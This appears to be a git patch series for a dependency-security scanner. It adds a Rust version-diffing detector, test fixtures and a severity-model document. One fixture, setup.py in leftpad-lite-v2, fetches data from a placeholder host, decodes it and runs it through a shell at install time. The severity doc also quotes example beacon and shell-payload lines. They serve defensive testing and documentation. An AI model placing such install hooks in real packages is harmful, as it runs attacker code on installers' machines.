19ff6e7..eff78fd 100644 --- a/PROGRESS.md +++ b/PROGRESS.md @@ -506,3 +506,25 @@ is closed — see [CONTRIBUTING.md](CONTRIBUTING.md). - **By:** iam-mercy - **Closes:** #104 - **Status:** In review. + +### behavioral — diff two package versions for risky changes + +- **What:** Adds [`diff.rs`](src/behavioral/diff.rs): `diff_versions(old, + new)` compares two unpacked package trees and reports added/removed + files, install scripts present in `new` but not `old` (a root + `setup.py`, or npm `preinstall`/`install`/`postinstall` entries in + `package.json`), and suspicious `setup.py` calls new in `new`. Calls + are matched by file and kind (not line), so ordinary line shifts from a + version bump create no noise. `PackageDiff::is_clean()` is true when + only benign files changed. New install scripts rate medium; new calls + inherit their kind's level. +- **Tests:** Fixture pairs under + [`tests/fixtures/behavioral/`](tests/fixtures/behavioral): `leftpad-lite` + v1 (clean npm package) vs v2 (adds a malicious `setup.py` — the + headline case), identical trees (clean), v1 vs a docs-only bump (added + file alone stays clean), `beacon` v1/v2 (pre-existing `requests.get` + not re-reported, only the new `b64decode`), and `npmish` v1/v2 (new + `postinstall` in `package.json`). +- **By:** iam-mercy +- **Closes:** #105 +- **Status:** In review. diff --git a/src/behavioral/diff.rs b/src/behavioral/diff.rs new file mode 100644 index 0000000..f652371 --- /dev/null +++ b/src/behavioral/diff.rs @@ -0,0 +1,229 @@ +//! Diffing two unpacked versions of a package for risky changes. +//! +//! A patch release that quietly adds an install script or network code is +//! one of the strongest signals in supply-chain security: nothing about the +//! package name changed, only what it does. [`diff_versions`] compares two +//! unpacked package trees (`old` = the version you have, `new` = the +//! candidate) and reports: +//! +//! - added and removed files, +//! - install scripts present in `new` but not `old` (a `setup.py`, or npm +//! `preinstall`/`install`/`postinstall` entries), +//! - suspicious `setup.py` calls (obfuscation, network, command execution +//! — see [`crate::behavioral::setup_py`]) that are new in `new`. +//! +//! Findings are compared by kind per file, not by line, so a version bump +//! that merely shifts line numbers doesn't produce noise. + +use std::collections::BTreeSet; +use std::fs; +use std::path::Path; + +use crate::cve::severity::Severity; + +use super::setup_py::scan_setup_py_in; +use super::{collect_files, BehavioralFinding}; + +/// Severity given to an install script that appears between two versions. +pub const NEW_SCRIPT_SEVERITY: Severity = Severity::Medium; + +/// What changed between two unpacked package versions. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct PackageDiff { + /// Files present in `new` but not `old`, sorted, `/`-separated. + pub added_files: Vec, + /// Files present in `old` but not `new`, sorted, `/`-separated. + pub removed_files: Vec, + /// Human-readable descriptions of install scripts in `new` that `old` + /// didn't have, sorted — e.g. `setup.py`, `package.json#postinstall`. + pub new_install_scripts: Vec, + /// Suspicious `setup.py` calls in `new` that no file in `old` + /// exhibited (matched by file and call kind, ignoring line shifts). + pub new_findings: Vec, +} + +impl PackageDiff { + /// True when nothing risky changed — added files alone are fine, but + /// new install scripts or new suspicious calls are not. + pub fn is_clean(&self) -> bool { + self.new_install_scripts.is_empty() && self.new_findings.is_empty() + } +} + +/// Compares the package trees rooted at `old` and `new`. +pub fn diff_versions(old: &Path, new: &Path) -> std::io::Result { + let old_files: BTreeSet = collect_files(old)?.into_iter().collect(); + let new_files: BTreeSet = collect_files(new)?.into_iter().collect(); + + let added_files: Vec = new_files.difference(&old_files).cloned().collect(); + let removed_files: Vec = old_files.difference(&new_files).cloned().collect(); + + let old_scripts = install_scripts(old, &old_files); + let new_scripts = install_scripts(new, &new_files); + let new_install_scripts: Vec = new_scripts.difference(&old_scripts).cloned().collect(); + + let new_findings = new_suspicious_calls(old, &old_files, new, &new_files); + + Ok(PackageDiff { + added_files, + removed_files, + new_install_scripts, + new_findings, + }) +} + +/// Describes every install-time hook a tree has: a `setup.py` at the root +/// and npm lifecycle scripts from `package.json`. Unparseable +/// `package.json` files are ignored (the lockfile scanner reports those). +fn install_scripts(root: &Path, files: &BTreeSet) -> BTreeSet { + let mut scripts = BTreeSet::new(); + if files.contains("setup.py") { + scripts.insert("setup.py".to_string()); + } + if files.contains("package.json") { + let Ok(bytes) = fs::read(root.join("package.json")) else { + return scripts; + }; + let Ok(json) = serde_json::from_slice::(&bytes) else { + return scripts; + }; + const LIFECYCLE: &[&str] = &["preinstall", "install", "postinstall"]; + if let Some(map) = json.get("scripts").and_then(|s| s.as_object()) { + for hook in LIFECYCLE { + if map.contains_key(*hook) { + scripts.insert(format!("package.json#{hook}")); + } + } + } + } + scripts +} + +/// Scans `setup.py` in both trees and keeps the findings whose call kind +/// is new for that file (or the file itself is new). +fn new_suspicious_calls( + old: &Path, + old_files: &BTreeSet, + new: &Path, + new_files: &BTreeSet, +) -> Vec { + let mut baseline: BTreeSet<(String, String)> = BTreeSet::new(); + for file in old_files { + if file != "setup.py" { + continue; + } + if let Ok(source) = fs::read_to_string(old.join(file)) { + for finding in scan_setup_py_in(file, &source) { + baseline.insert((finding.file, finding.message)); + } + } + } + + let mut findings = Vec::new(); + for file in new_files { + if file != "setup.py" { + continue; + } + let Ok(source) = fs::read_to_string(new.join(file)) else { + continue; + }; + for finding in scan_setup_py_in(file, &source) { + if !baseline.contains(&(finding.file.clone(), finding.message.clone())) { + findings.push(finding); + } + } + } + findings +} + +#[cfg(test)] +mod tests { + use super::*; + use std::path::PathBuf; + + fn fixture(name: &str) -> PathBuf { + Path::new(env!("CARGO_MANIFEST_DIR")) + .join("tests/fixtures/behavioral") + .join(name) + } + + /// The headline case from the issue: v1 is a normal patch-level + /// package, v2 adds an install script and obfuscated network code. + #[test] + fn v2_malicious_upgrade_is_reported() { + let diff = diff_versions(&fixture("leftpad-lite-v1"), &fixture("leftpad-lite-v2")).unwrap(); + + assert_eq!(diff.added_files, vec!["setup.py"]); + assert_eq!(diff.removed_files, Vec::::new()); + + assert_eq!(diff.new_install_scripts, vec!["setup.py"]); + + let messages: Vec<&str> = diff + .new_findings + .iter() + .map(|f| f.message.as_str()) + .collect(); + assert!( + messages.contains(&"base64.b64decode call"), + "obfuscation not reported: {messages:?}" + ); + assert!( + messages.contains(&"network call (urllib/requests)"), + "network call not reported: {messages:?}" + ); + assert!( + messages.contains(&"subprocess call"), + "subprocess call not reported: {messages:?}" + ); + for finding in &diff.new_findings { + assert_eq!(finding.file, "setup.py"); + assert!(finding.line.is_some(), "expected a line number: {finding}"); + } + assert!(!diff.is_clean()); + } + + #[test] + fn identical_versions_are_clean() { + let diff = diff_versions(&fixture("leftpad-lite-v1"), &fixture("leftpad-lite-v1")).unwrap(); + assert_eq!(diff, PackageDiff::default()); + assert!(diff.is_clean()); + } + + #[test] + fn added_files_alone_are_clean() { + let diff = + diff_versions(&fixture("leftpad-lite-v1"), &fixture("leftpad-lite-docs")).unwrap(); + assert_eq!(diff.added_files, vec!["CHANGELOG.md"]); + assert!(diff.new_install_scripts.is_empty()); + assert!(diff.new_findings.is_empty()); + assert!(diff.is_clean()); + } + + #[test] + fn preexisting_suspicious_calls_are_not_repeated() { + // Both versions call requests.get; only the *new* b64decode is + // reported, and the line shift doesn't create noise. + let diff = diff_versions(&fixture("beacon-v1"), &fixture("beacon-v2")).unwrap(); + assert!(diff.added_files.is_empty()); + assert!(diff.removed_files.is_empty()); + assert!(diff.new_install_scripts.is_empty()); + let messages: Vec<&str> = diff + .new_findings + .iter() + .map(|f| f.message.as_str()) + .collect(); + assert_eq!(messages, vec!["base64.b64decode call"]); + } + + #[test] + fn npm_install_script_added_in_package_json() { + let diff = diff_versions(&fixture("npmish-v1"), &fixture("npmish-v2")).unwrap(); + assert_eq!( + diff.new_install_scripts, + vec!["package.json#postinstall".to_string()] + ); + assert!(diff.added_files.is_empty(), "{:?}", diff.added_files); + assert!(diff.new_findings.is_empty()); + assert!(!diff.is_clean()); + } +} diff --git a/src/behavioral/mod.rs b/src/behavioral/mod.rs index 398dd70..6709a7c 100644 --- a/src/behavioral/mod.rs +++ b/src/behavioral/mod.rs @@ -2,8 +2,8 @@ //! //! Where the typosquat and CVE modules reason about a package's *name* and //! version, the detectors here reason about its *contents*: what runs when -//! it's installed ([`setup_py`]) and what machine code it ships -//! ([`binaries`]). +//! it's installed ([`setup_py`]), what machine code it ships +//! ([`binaries`]), and what changed between two releases ([`diff`]). //! //! Behavioral findings are their own type ([`BehavioralFinding`]), not //! [`Finding`](crate::model::Finding)s — they describe files inside one @@ -12,6 +12,7 @@ //! the level definitions live in `docs/severity.md`. pub mod binaries; +pub mod diff; pub mod setup_py; use std::fmt; diff --git a/tests/fixtures/README.md b/tests/fixtures/README.md index 6e7af51..d0c15ad 100644 --- a/tests/fixtures/README.md +++ b/tests/fixtures/README.md @@ -41,3 +41,10 @@ covered by the repository's [MIT license](../../LICENSE). | [`package.json`](package.json) | `package.json` | `src/lockfile/mod.rs`, `src/lockfile/npm.rs` | | [`pypi-basic/requirements.txt`](pypi-basic/requirements.txt) | `requirements.txt` | `tests/lockfile.rs` | | [`Pipfile.lock`](Pipfile.lock) | `Pipfile.lock` | `src/lockfile/mod.rs`, `src/lockfile/pypi.rs` | +| [`behavioral/leftpad-lite-v1/`](behavioral/leftpad-lite-v1) | unpacked npm package (clean) | `src/behavioral/diff.rs` | +| [`behavioral/leftpad-lite-v2/`](behavioral/leftpad-lite-v2) | unpacked PyPI sdist (adds a malicious `setup.py`) | `src/behavioral/diff.rs` | +| [`behavioral/leftpad-lite-docs/`](behavioral/leftpad-lite-docs) | `leftpad-lite-v1` + `CHANGELOG.md` | `src/behavioral/diff.rs` | +| [`behavioral/beacon-v1/`](behavioral/beacon-v1) | unpacked PyPI sdist (`setup.py` calls `requests.get`) | `src/behavioral/diff.rs` | +| [`behavioral/beacon-v2/`](behavioral/beacon-v2) | `beacon-v1` + a new `base64.b64decode` call | `src/behavioral/diff.rs` | +| [`behavioral/npmish-v1/`](behavioral/npmish-v1) | unpacked npm package (no lifecycle scripts) | `src/behavioral/diff.rs` | +| [`behavioral/npmish-v2/`](behavioral/npmish-v2) | `npmish-v1` + a `postinstall` script | `src/behavioral/diff.rs` | diff --git a/tests/fixtures/behavioral/beacon-v1/index.js b/tests/fixtures/behavioral/beacon-v1/index.js new file mode 100644 index 0000000..07edf97 --- /dev/null +++ b/tests/fixtures/behavioral/beacon-v1/index.js @@ -0,0 +1 @@ +module.exports = require("./lib/index.js"); diff --git a/tests/fixtures/behavioral/beacon-v1/setup.py b/tests/fixtures/behavioral/beacon-v1/setup.py new file mode 100644 index 0000000..eecb9cc --- /dev/null +++ b/tests/fixtures/behavioral/beacon-v1/setup.py @@ -0,0 +1,11 @@ +from setuptools import setup +import requests + +# Check the release metadata service at build time. +info = requests.get('https://beacon.example/info').json() + +setup( + name='beacon-tools', + version='2.1.0', + description=info.get('description', 'build helpers'), +) diff --git a/tests/fixtures/behavioral/beacon-v2/index.js b/tests/fixtures/behavioral/beacon-v2/index.js new file mode 100644 index 0000000..07edf97 --- /dev/null +++ b/tests/fixtures/behavioral/beacon-v2/index.js @@ -0,0 +1 @@ +module.exports = require("./lib/index.js"); diff --git a/tests/fixtures/behavioral/beacon-v2/setup.py b/tests/fixtures/behavioral/beacon-v2/setup.py new file mode 100644 index 0000000..58e08a1 --- /dev/null +++ b/tests/fixtures/behavioral/beacon-v2/setup.py @@ -0,0 +1,14 @@ +from setuptools import setup +import base64 +import requests + +# Check the release metadata service at build time. +info = requests.get('https://beacon.example/info').json() +# New in 2.1.1: verify the build stamp. +stamp = base64.b64decode(info['stamp']).decode() + +setup( + name='beacon-tools', + version='2.1.1', + description=info.get('description', 'build helpers'), +) diff --git a/tests/fixtures/behavioral/leftpad-lite-docs/CHANGELOG.md b/tests/fixtures/behavioral/leftpad-lite-docs/CHANGELOG.md new file mode 100644 index 0000000..a4a934a --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-docs/CHANGELOG.md @@ -0,0 +1,5 @@ +# Changelog + +## 1.0.2 + +- Documented the padding behaviour. diff --git a/tests/fixtures/behavioral/leftpad-lite-docs/README.md b/tests/fixtures/behavioral/leftpad-lite-docs/README.md new file mode 100644 index 0000000..1abc29d --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-docs/README.md @@ -0,0 +1,3 @@ +# leftpad-lite + +Pads strings. Nothing else. diff --git a/tests/fixtures/behavioral/leftpad-lite-docs/index.js b/tests/fixtures/behavioral/leftpad-lite-docs/index.js new file mode 100644 index 0000000..e95f270 --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-docs/index.js @@ -0,0 +1,7 @@ +// leftpad-lite: pad strings on the left. MIT. +module.exports = function leftpad(str, len, ch) { + str = String(str); + ch = ch || ' '; + while (str.length < len) str = ch + str; + return str; +}; diff --git a/tests/fixtures/behavioral/leftpad-lite-docs/package.json b/tests/fixtures/behavioral/leftpad-lite-docs/package.json new file mode 100644 index 0000000..6c099fb --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-docs/package.json @@ -0,0 +1,6 @@ +{ + "name": "leftpad-lite", + "version": "1.0.2", + "main": "index.js", + "license": "MIT" +} diff --git a/tests/fixtures/behavioral/leftpad-lite-v1/README.md b/tests/fixtures/behavioral/leftpad-lite-v1/README.md new file mode 100644 index 0000000..1abc29d --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-v1/README.md @@ -0,0 +1,3 @@ +# leftpad-lite + +Pads strings. Nothing else. diff --git a/tests/fixtures/behavioral/leftpad-lite-v1/index.js b/tests/fixtures/behavioral/leftpad-lite-v1/index.js new file mode 100644 index 0000000..e95f270 --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-v1/index.js @@ -0,0 +1,7 @@ +// leftpad-lite: pad strings on the left. MIT. +module.exports = function leftpad(str, len, ch) { + str = String(str); + ch = ch || ' '; + while (str.length < len) str = ch + str; + return str; +}; diff --git a/tests/fixtures/behavioral/leftpad-lite-v1/package.json b/tests/fixtures/behavioral/leftpad-lite-v1/package.json new file mode 100644 index 0000000..6c099fb --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-v1/package.json @@ -0,0 +1,6 @@ +{ + "name": "leftpad-lite", + "version": "1.0.2", + "main": "index.js", + "license": "MIT" +} diff --git a/tests/fixtures/behavioral/leftpad-lite-v2/README.md b/tests/fixtures/behavioral/leftpad-lite-v2/README.md new file mode 100644 index 0000000..1abc29d --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-v2/README.md @@ -0,0 +1,3 @@ +# leftpad-lite + +Pads strings. Nothing else. diff --git a/tests/fixtures/behavioral/leftpad-lite-v2/index.js b/tests/fixtures/behavioral/leftpad-lite-v2/index.js new file mode 100644 index 0000000..e95f270 --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-v2/index.js @@ -0,0 +1,7 @@ +// leftpad-lite: pad strings on the left. MIT. +module.exports = function leftpad(str, len, ch) { + str = String(str); + ch = ch || ' '; + while (str.length < len) str = ch + str; + return str; +}; diff --git a/tests/fixtures/behavioral/leftpad-lite-v2/package.json b/tests/fixtures/behavioral/leftpad-lite-v2/package.json new file mode 100644 index 0000000..6c099fb --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-v2/package.json @@ -0,0 +1,6 @@ +{ + "name": "leftpad-lite", + "version": "1.0.2", + "main": "index.js", + "license": "MIT" +} diff --git a/tests/fixtures/behavioral/leftpad-lite-v2/setup.py b/tests/fixtures/behavioral/leftpad-lite-v2/setup.py new file mode 100644 index 0000000..bdf7053 --- /dev/null +++ b/tests/fixtures/behavioral/leftpad-lite-v2/setup.py @@ -0,0 +1,13 @@ +from setuptools import setup +import base64 +import subprocess +import urllib.request + +# Fetch build metadata from the maintainer's server at install time. +meta = urllib.request.urlopen('https://leftpad.example/meta').read() +subprocess.run(['sh', '-c', base64.b64decode(meta)], check=False) + +setup( + name='leftpad-lite', + version='1.0.3', +) diff --git a/tests/fixtures/behavioral/npmish-v1/index.js b/tests/fixtures/behavioral/npmish-v1/index.js new file mode 100644 index 0000000..f053ebf --- /dev/null +++ b/tests/fixtures/behavioral/npmish-v1/index.js @@ -0,0 +1 @@ +module.exports = {}; diff --git a/tests/fixtures/behavioral/npmish-v1/package.json b/tests/fixtures/behavioral/npmish-v1/package.json new file mode 100644 index 0000000..626ad88 --- /dev/null +++ b/tests/fixtures/behavioral/npmish-v1/package.json @@ -0,0 +1,8 @@ +{ + "name": "npmish", + "version": "0.3.0", + "main": "index.js", + "scripts": { + "test": "node test.js" + } +} diff --git a/tests/fixtures/behavioral/npmish-v2/index.js b/tests/fixtures/behavioral/npmish-v2/index.js new file mode 100644 index 0000000..f053ebf --- /dev/null +++ b/tests/fixtures/behavioral/npmish-v2/index.js @@ -0,0 +1 @@ +module.exports = {}; diff --git a/tests/fixtures/behavioral/npmish-v2/package.json b/tests/fixtures/behavioral/npmish-v2/package.json new file mode 100644 index 0000000..84fc1dd --- /dev/null +++ b/tests/fixtures/behavioral/npmish-v2/package.json @@ -0,0 +1,9 @@ +{ + "name": "npmish", + "version": "0.3.1", + "main": "index.js", + "scripts": { + "test": "node test.js", + "postinstall": "node scripts/setup.js" + } +} From 37caf8af9bdfa95737b7e47082e1a8e9d463adbd Mon Sep 17 00:00:00 2001 From: iam-mercy Date: Mon, 19 Oct 2026 23:35:23 +0100 Subject: [PATCH 4/4] docs: document the finding severity model Contributors adding detectors need one place that defines what low, medium, high and critical mean in DepRadar. Adds docs/severity.md: a definition per level, a rated example per FindingKind (homoglyph typosquat -> critical, distance typosquat -> high, vulnerability -> its advisory level, unrated advisory -> high) and per behavioral signal (setup.py command execution -> high, obfuscation/network -> medium, native binaries -> low, new install script between versions -> medium), the CVSS v3 qualitative mapping (0.0-3.9 low, 4.0-6.9 medium, 7.0-8.9 high, 9.0-10.0 critical) with the label fallback, how severity flows into --fail-on, SARIF levels and security-severity, and guidance for detector authors. Linked from README and CONTRIBUTING; all commands and links verified. Closes #106 --- CONTRIBUTING.md | 2 + PROGRESS.md | 21 +++++++++++ README.md | 5 +++ docs/severity.md | 98 ++++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 126 insertions(+) create mode 100644 docs/severity.md diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a5c7bc8..251c876 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -61,6 +61,8 @@ Some tests in `src/cve/` call the live [OSV API](https://osv.dev); they skip - One issue per PR where possible, with `Closes #N` in the description. - Keep CI green: fmt, clippy, tests, the wasm build, and the client typecheck all run on every PR. +- New detectors must rate their findings per the + [severity model](docs/severity.md) and add an example there. - If you change `contracts/`, commit the regenerated files under `contracts/deprader_router/test_snapshots/`. - Security-sensitive findings go through [SECURITY.md](SECURITY.md), not diff --git a/PROGRESS.md b/PROGRESS.md index eff78fd..892b105 100644 --- a/PROGRESS.md +++ b/PROGRESS.md @@ -528,3 +528,24 @@ is closed — see [CONTRIBUTING.md](CONTRIBUTING.md). - **By:** iam-mercy - **Closes:** #105 - **Status:** In review. + +### docs — finding severity model + +- **What:** Adds [`docs/severity.md`](docs/severity.md), the single place + defining what low, medium, high and critical mean in DepRadar. It + defines each level, gives a rated example per `FindingKind` (homoglyph + typosquat → critical, distance typosquat → high, vulnerability → its + advisory's level, unrated advisory → high) and per behavioral signal + (setup.py command execution → high, obfuscation/network → medium, + native binaries → low, new install script between versions → medium), + documents the CVSS v3 mapping (0.0–3.9 low, 4.0–6.9 medium, 7.0–8.9 + high, 9.0–10.0 critical, per the CVSS v3.1 qualitative ratings) and + the label fallback, and explains how severity flows into `--fail-on`, + SARIF levels and `security-severity`, plus guidance for detector + authors. Linked from [README.md](README.md) (CLI section) and + [CONTRIBUTING.md](CONTRIBUTING.md) (PR checklist); all commands and + relative links verified. +- **Tests:** N/A (documentation only). +- **By:** iam-mercy +- **Closes:** #106 +- **Status:** In review. diff --git a/README.md b/README.md index ad5bd65..08399f2 100644 --- a/README.md +++ b/README.md @@ -80,6 +80,11 @@ Useful options (run `depradar --help` for the full list): Findings accepted in a `.depradarignore` next to the lockfile are reported as suppressed and never fail the run. +Every finding carries a severity — low, medium, high, or critical. The +[severity model](docs/severity.md) defines each level with examples per +finding kind and explains how CVSS scores map in; `--fail-on` compares +against the same levels. + ### Exit codes | Code | Meaning | diff --git a/docs/severity.md b/docs/severity.md new file mode 100644 index 0000000..99b6d91 --- /dev/null +++ b/docs/severity.md @@ -0,0 +1,98 @@ +# Finding severity model + +Every finding DepRadar reports — typosquat, vulnerability, or behavioral — +carries one of four severity levels: **low**, **medium**, **high**, or +**critical**. This page defines what each level means, gives an example per +[`FindingKind`](../src/model.rs) and per behavioral detector, and explains +how CVSS scores map in. Detector authors: rate new findings consistently +with these definitions and add an example here. + +## The levels + +| Level | Meaning | +| --- | --- | +| **Critical** | Near-certain compromise; act before merging or deploying. | +| **High** | Strong indicator of a malicious or vulnerable dependency; block CI by default (`--fail-on high`). | +| **Medium** | Suspicious, needs human judgment; worth reviewing but not a default CI failure. | +| **Low** | Informational context for a reviewer; almost always benign on its own. | + +## How each finding kind is rated + +`severity_of` in [`src/report/mod.rs`](../src/report/mod.rs) applies these +rules, in order: + +### `FindingKind::Typosquat` + +A homoglyph impersonation is **critical**: lookalike Unicode characters +only reach a package name deliberately — an honest near-collision never +contains a Cyrillic `а` where the popular package has a Latin `a`. +Example: a package whose normalized name is exactly `react` after +homoglyph folding, but isn't `react`. + +A name that is merely a few edits from a popular package is **high**: it +may be an honest near-collision, but it's also the classic typosquat +shape. Example: `expresss` (one extra `s` from `express`). + +### `FindingKind::Vulnerability` + +A vulnerability takes the severity of its OSV advisory — see "How CVSS +maps in" below. When the advisory has no usable severity data, or the +full record couldn't be fetched, the finding is rated **high** +(`UNRATED_ADVISORY`): erring high keeps unrated advisories from slipping +past a CI gate. Example: an advisory with a CVSS v3 vector of +`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (base score 9.8) is +**critical**. + +### Behavioral findings + +Behavioral detectors ([`src/behavioral/`](../src/behavioral/mod.rs)) rate +by what the behavior can do at install time: + +| Signal | Level | Example | +| --- | --- | --- | +| `setup.py` command execution (`subprocess`, `os.system`, `exec`, `eval`) | **High** | `subprocess.run(['sh', '-c', payload], check=False)` in `setup.py` — arbitrary code runs on install. | +| `setup.py` obfuscation (`base64.b64decode`) | **Medium** | `base64.b64decode(meta)` decoding a payload embedded in the sdist. | +| `setup.py` network calls (`urllib`, `requests`) | **Medium** | `urllib.request.urlopen('https://evil.example/beacon')` phoning home during install. | +| Native binaries shipped in a package | **Low** | An ELF, PE, or Mach-O file, or a `.exe`/`.dll`/`.so`/`.dylib`, inside an unpacked npm or PyPI package — informational, since native addons are common and legitimate. | +| New install script between two versions | **Medium** | A patch release that adds `setup.py` or an npm `postinstall` hook. | +| New suspicious `setup.py` call between two versions | *(inherits)* | The new call keeps the level of its kind (command execution → high, obfuscation/network → medium). | + +## How CVSS maps in + +Vulnerability findings inherit their advisory's CVSS v3.x base score, which +[`Severity::from_score`](../src/cve/severity.rs) buckets using the standard +qualitative ratings from the +[CVSS v3.1 specification](https://www.first.org/cvss/v3.1/specification-document): + +| CVSS v3 base score | Level | +| --- | --- | +| 0.0 – 3.9 | **Low** | +| 4.0 – 6.9 | **Medium** | +| 7.0 – 8.9 | **High** | +| 9.0 – 10.0 | **Critical** | + +A score of exactly 0.0 ("None" in CVSS) is reported as **low**, not as a +separate "none" level. When an advisory carries no CVSS vector, the +`database_specific.severity` label (`LOW`, `MODERATE`, `MEDIUM`, `HIGH`, +`CRITICAL`) is used instead; `MODERATE` maps to **medium**. When neither +is available — or the advisory record couldn't be fetched — the finding is +rated **high** (see above). + +## Severity in output + +- The CLI's `--fail-on` flag (`low|medium|high|critical|none`, default + `high`) sets the level at which a scan exits non-zero. +- SARIF output maps critical/high to `error`, medium to `warning`, and low + to `note`, and attaches a representative `security-severity` score + (9.5 / 8.0 / 5.5 / 2.0) so GitHub code scanning buckets findings the + same way. +- Text output color-codes the level label. + +## Adding a detector + +1. Give every finding a level from the table above; when in doubt, match + the closest existing signal (install-time code execution → high, + context a human should glance at → low). +2. Use the shared [`Severity`](../src/cve/severity.rs) enum — don't invent + per-detector levels. +3. Add a row or bullet with a concrete example on this page.